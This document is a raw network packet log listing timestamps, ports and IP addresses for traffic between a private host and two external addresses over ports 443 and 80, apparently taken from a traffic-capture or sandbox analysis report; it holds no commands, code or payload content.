Dec 4, 2024 16:10:54.702815056 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:54.704190969 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:54.704214096 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:54.704262972 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:57.565676928 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:57.565771103 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:57.565924883 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:57.566179037 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:57.566179037 CET	49723	443	192.168.2.12	188.114.96.6
Dec 4, 2024 16:10:57.566198111 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:57.566205978 CET	443	49723	188.114.96.6	192.168.2.12
Dec 4, 2024 16:10:57.567794085 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:57.688668966 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:57.688842058 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:57.689030886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:57.808700085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050087929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050102949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050115108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050170898 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.050215006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050226927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050256014 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.050400019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050411940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050434113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.050718069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050730944 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050744057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.050766945 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.050790071 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.169990063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.178872108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.178936958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.178963900 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.230263948 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.242454052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.242469072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.242569923 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.247682095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.247698069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.247754097 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.255624056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.255779982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.255852938 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.264380932 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.264533043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.264595032 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.272044897 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.272061110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.272130013 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.279567957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.279603958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.279649019 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.287940025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.288264036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.288333893 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.296308994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.296389103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.296448946 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.304687977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.304986954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.305047989 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.313060999 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.313180923 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.313267946 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.322146893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.370774031 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.413631916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.413721085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.413800001 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.417771101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.434009075 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.434101105 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.434189081 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.436296940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.436346054 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.436408997 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.440957069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.440978050 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.441019058 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.445408106 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.445486069 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.445672035 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.449721098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.449775934 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.449810028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.454268932 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.454282045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.454335928 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.458837986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.458931923 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.458946943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.463171959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.463234901 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.463354111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.467678070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.467736959 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.467817068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.472156048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.472219944 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.472253084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.476632118 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.476701021 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.476731062 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.481120110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.481210947 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.481237888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.485604048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.485651970 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.485682964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.490052938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.490102053 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.490139008 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.494528055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.494570017 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.494620085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.499046087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.499135017 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.499186993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.503540993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.503599882 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.503624916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.508016109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.508054972 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.508086920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.512641907 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.512702942 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.512789011 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.533804893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.533849001 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.533907890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.536047935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.536088943 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.609030962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.609230042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.609400034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.611074924 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.611251116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.611304045 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.615247011 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.628935099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.628951073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.629076004 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.630569935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.630584002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.630619049 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.633083105 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.633161068 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.633173943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.636497974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.636560917 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.636576891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.639942884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.639998913 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.640034914 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.643357992 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.643418074 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.643579006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.646641016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.646708012 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.646811962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.650137901 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.650204897 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.650229931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.653305054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.653332949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.653372049 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.656662941 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.656723022 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.656763077 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.660249949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.660315990 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.660377026 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.663345098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.663403988 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.663428068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.665349007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.665400982 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.665499926 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.669496059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.669544935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.669558048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.669559956 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.669600964 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.669667006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.671575069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.671628952 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.671683073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.673609972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.673665047 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.673671007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.675968885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.676028013 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.676078081 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.677604914 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.677656889 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.677678108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.679702044 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.679761887 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.679877996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.681714058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.681765079 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.681863070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.683712959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.683764935 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.683835030 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.685868025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.685947895 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.685972929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.687944889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.688003063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.688005924 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.689861059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.689908981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.689980030 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.691881895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.691939116 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.691996098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.693900108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.693953037 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.694000959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.696043015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.696103096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.696110010 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.698008060 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.698066950 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.698095083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.700017929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.700064898 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.801809072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.801831961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.801930904 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.802692890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.802922964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.802985907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.804877043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.805146933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.805197954 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.806828976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.806961060 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.807004929 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.808820963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.808939934 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.808984995 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.820976019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.821105957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.821162939 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.821914911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.822026968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.822072029 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.823771954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.823817015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.823867083 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.825512886 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.825603962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.825649977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.827290058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.827405930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.827450991 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.829106092 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.829194069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.829245090 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.830952883 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.831098080 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.831147909 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.832741022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.832819939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.832866907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.834542990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.834644079 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.834691048 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.836369038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.836440086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.836487055 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.838103056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.838215113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.838259935 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.839951038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.840046883 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.840096951 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.841753960 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.841826916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.841873884 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.843539953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.843646049 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.843697071 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.845329046 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.845439911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.845487118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.847136974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.847223043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.847285032 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.849004030 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.849203110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.849251032 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.850771904 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.850853920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.850927114 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.852565050 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.852667093 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.852714062 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.854410887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.854535103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.854578972 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.856148958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.856275082 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.856321096 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.858215094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.858318090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.858366013 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.859783888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.859940052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.859988928 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.861592054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.861699104 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.861745119 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.863825083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.863934994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.863992929 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.865310907 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.865552902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.865611076 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.867028952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.867070913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.867115021 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.868818998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.868925095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.868971109 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.870646000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.870771885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.870820999 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.872490883 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.872576952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.872627974 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.874187946 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.874309063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.874357939 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.876000881 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.876127958 CET	80	49724	185.215.113.16	192.168.2.12
